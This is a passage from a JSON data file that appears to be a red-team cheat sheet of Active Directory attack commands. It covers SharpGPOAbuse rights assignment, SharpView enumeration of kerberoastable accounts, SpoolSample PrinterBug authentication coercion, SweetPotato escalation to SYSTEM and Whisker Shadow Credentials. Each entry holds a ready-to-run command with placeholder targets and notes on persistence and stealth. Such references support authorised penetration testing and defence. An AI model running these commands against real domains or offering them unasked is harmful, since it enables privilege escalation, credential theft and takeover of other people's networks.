     "description": "SharpGPOAbuse --AddUserRights assigns Windows privileges / logon rights to an account through an editable GPO, writing them into the GPO's security template. Granting rights such as SeDebugPrivilege, SeTakeOwnershipPrivilege, or SeRemoteInteractiveLogonRight to a controlled user provides a durable escalation and remote-logon foothold across every host in scope. The --UserRights list is comma-separated and case-sensitive and must use the exact NT privilege constant names.\n\nCommand Reference:\n\n\tUsername: john\n\n\tTarget GPO: Vulnerable GPO",
     "mitre": [
       "T1484.001"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/FSecureLABS/SharpGPOAbuse",
       "https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e",
       "https://attack.mitre.org/techniques/T1484/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:SharpView-Enumeration",
     "toolId": "wadcoms:SharpView",
     "toolName": "SharpView",
     "name": "SharpView-Enumeration",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "# Kerberoastable accounts\nSharpView.exe Get-DomainUser -SPN\n# AS-REP roastable accounts\nSharpView.exe Get-DomainUser -PreauthNotRequired\n# Interesting ACLs with resolved GUIDs\nSharpView.exe Find-InterestingDomainAcl -ResolveGUIDs",
     "description": "SharpView is a .NET/C# port of PowerView that exposes the same function names and parameters as a compiled executable, useful when PowerShell is locked down (Constrained Language Mode, AMSI/logging on script hosts) but arbitrary binaries still run. Each PowerView function becomes a positional first argument, and switches keep their PowerView names. It is handy for one-shot enumeration such as pulling kerberoastable accounts or interesting ACLs from a beacon.\n\nCommand Reference:\n\n\tDomain: test.local",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/tevora-threat/SharpView",
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"
     ],
     "added": true
   },
   {
     "id": "wadcoms:SpoolSample-PrinterBug",
     "toolId": "wadcoms:SpoolSample",
     "toolName": "SpoolSample",
     "name": "SpoolSample-PrinterBug",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Execution"
     ],
     "nativeCategory": [
       "Exploitation"
     ],
     "command": "SpoolSample.exe 10.10.10.1 10.10.10.2",
     "description": "SpoolSample.exe is the original Windows C# implementation of the PrinterBug (MS-RPRN) coercion technique. Run from an existing foothold on a domain-joined Windows host, it calls the print spooler's change-notification RPC on the target to force that target's machine account to authenticate back to a capture server, which is typically an ntlmrelayx or Responder listener. It is the on-host counterpart to printerbug.py and useful when operating entirely from a compromised Windows box under an existing user context. Requires the Print Spooler service to be running on the target.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tCapture Server IP: 10.10.10.2",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "RPC",
       "NTLM"
     ],
     "references": [
       "https://github.com/leechristensen/SpoolSample",
       "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn"
     ],
     "added": true
   },
   {
     "id": "wadcoms:SweetPotato-SeImpersonate",
     "toolId": "wadcoms:SweetPotato",
     "toolName": "SweetPotato",
     "name": "SweetPotato-SeImpersonate",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# -e selects the coercion primitive (EfsRpc | DCOM | WinRM | PrintSpoofer | PetitPotam)\nSweetPotato.exe -p C:\\Windows\\System32\\cmd.exe -a \"/c whoami\" -e EfsRpc",
     "description": "SweetPotato bundles several SYSTEM-coercion primitives (EfsRpc, DCOM/RoguePotato-style OXID, PrintSpoofer, PetitPotam, WinRM) behind one binary, selected with -e, so you can fall back to whichever named-pipe or DCOM coercion the host permits. It captures the coerced SYSTEM token and launches the program in -p with the arguments in -a. Handy on IIS/MSSQL service accounts when you want to try multiple potato techniques without swapping tools. Requires SeImpersonatePrivilege.\n\nCommand Reference:\n\n\tPrivilege required: SeImpersonatePrivilege\n\n\tExploit mode: EfsRpc",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "DCOM",
       "RPC"
     ],
     "references": [
       "https://github.com/CCob/SweetPotato",
       "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Whisker-ShadowCredentials",
     "toolId": "wadcoms:Whisker",
     "toolName": "Whisker",
     "name": "Whisker-ShadowCredentials",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Persistence",
       "Credential Access"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Persistence",
       "Credential Access"
     ],
     "command": "# Add a shadow credential to the target and get the follow-up Rubeus command\nWhisker.exe add /target:victim /domain:test.local /dc:dc.test.local",
     "description": "Whisker is a C# tool that manipulates the msDS-KeyCredentialLink attribute to perform the Shadow Credentials attack from a Windows host. `Whisker.exe add` generates a certificate, adds the corresponding key credential to the target object, and prints a ready-to-run Rubeus asktgt PKINIT command to authenticate as the victim and recover its NT hash. It requires GenericWrite/GenericAll over the target and a DC that supports PKINIT (an enterprise CA present). Stealthier than a password reset because the account's password is unchanged.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tDomain Controller: dc.test.local\n\n\tTarget account: victim",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "LDAP",
       "ADCS"
     ],
     "references": [
       "https://github.com/eladshamir/Whisker",
       "https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials",
       "https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab"
     ],
     "added": true
   }
 ]